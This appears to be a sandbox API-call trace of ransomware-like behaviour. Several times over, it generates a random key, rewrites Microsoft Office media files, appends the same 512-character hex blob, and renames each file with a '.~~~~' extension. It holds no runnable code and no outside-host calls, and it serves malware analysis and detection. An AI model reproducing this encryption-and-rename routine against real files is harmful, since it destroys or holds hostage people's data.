	[0126.477] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.536] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.536] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.537] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24652671589) returned 1
	[0126.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4def270, dwHighDateTime=0x1d60e1e)) 
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b858
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b858 | out: hHeap=0x300000) returned 1
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaaf0
	[0126.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.537] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.538] GetLastError () returned 0x0
	[0126.538] GetLastError () returned 0x0
	[0126.538] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.538] GetLastError () returned 0x0
	[0126.538] GetLastError () returned 0x0
	[0126.542] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.542] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0126.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.544] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.544] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.544] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.544] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.544] CloseHandle (hObject=0xc4) returned 1
	[0126.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0126.547] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf.~~~~")) returned 1
	[0126.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.587] GetLastError () returned 0x0
	[0126.588] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.589] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.589] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.589] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24657951808) returned 1
	[0126.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4e877f0, dwHighDateTime=0x1d60e1e)) 
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821a20
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821a20 | out: hHeap=0x300000) returned 1
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abea0
	[0126.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abea0 | out: hHeap=0x300000) returned 1
	[0126.590] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.590] GetLastError () returned 0x0
	[0126.591] GetLastError () returned 0x0
	[0126.591] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.591] GetLastError () returned 0x0
	[0126.591] GetLastError () returned 0x0
	[0126.611] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff5d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.611] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xa28, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0xa28, lpOverlapped=0x0) returned 1
	[0126.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.622] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.622] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.622] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.622] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.622] CloseHandle (hObject=0x144) returned 1
	[0126.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0126.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf.~~~~")) returned 1
	[0126.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0126.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.651] GetLastError () returned 0x0
	[0126.680] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.681] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.682] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.682] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24667195695) returned 1
	[0126.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4f6c030, dwHighDateTime=0x1d60e1e)) 
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821ba8
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821ba8 | out: hHeap=0x300000) returned 1
	[0126.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab378
	[0126.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab378 | out: hHeap=0x300000) returned 1
	[0126.683] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.683] GetLastError () returned 0x0
	[0126.683] GetLastError () returned 0x0
	[0126.683] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.683] GetLastError () returned 0x0
	[0126.683] GetLastError () returned 0x0
	[0126.713] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffebd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.714] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x142e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x142e, lpOverlapped=0x0) returned 1
	[0126.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.715] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.715] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.715] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.715] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.715] CloseHandle (hObject=0xc4) returned 1
	[0126.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aac40
	[0126.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf.~~~~")) returned 1
	[0126.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0126.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.717] GetLastError () returned 0x0
	[0126.717] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.718] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.719] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24670882043) returned 1
	[0126.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4fb82f0, dwHighDateTime=0x1d60e1e)) 
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821c88
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821c88 | out: hHeap=0x300000) returned 1
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaee0
	[0126.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaee0 | out: hHeap=0x300000) returned 1
	[0126.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.720] GetLastError () returned 0x0
	[0126.720] GetLastError () returned 0x0
	[0126.720] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.720] GetLastError () returned 0x0
	[0126.720] GetLastError () returned 0x0
	[0126.798] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffed16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.798] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x12ea, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x12ea, lpOverlapped=0x0) returned 1
	[0126.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.802] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.802] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.802] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.802] CloseHandle (hObject=0xc4) returned 1
	[0126.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0126.803] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf.~~~~")) returned 1
	[0126.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0126.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.882] GetLastError () returned 0x0
	[0126.962] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.963] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.963] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.963] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24695339228) returned 1
	[0126.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb52198f0, dwHighDateTime=0x1d60e1e)) 
	[0126.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821d68
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821d68 | out: hHeap=0x300000) returned 1
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3bd8
	[0126.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0126.964] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.964] GetLastError () returned 0x0
	[0126.964] GetLastError () returned 0x0
	[0126.965] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.965] GetLastError () returned 0x0
	[0126.965] GetLastError () returned 0x0
	[0126.978] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffb99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.978] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x467, lpOverlapped=0x0) returned 1
	[0126.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.980] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.980] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.980] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.980] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.980] CloseHandle (hObject=0x128) returned 1
	[0126.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3bd8
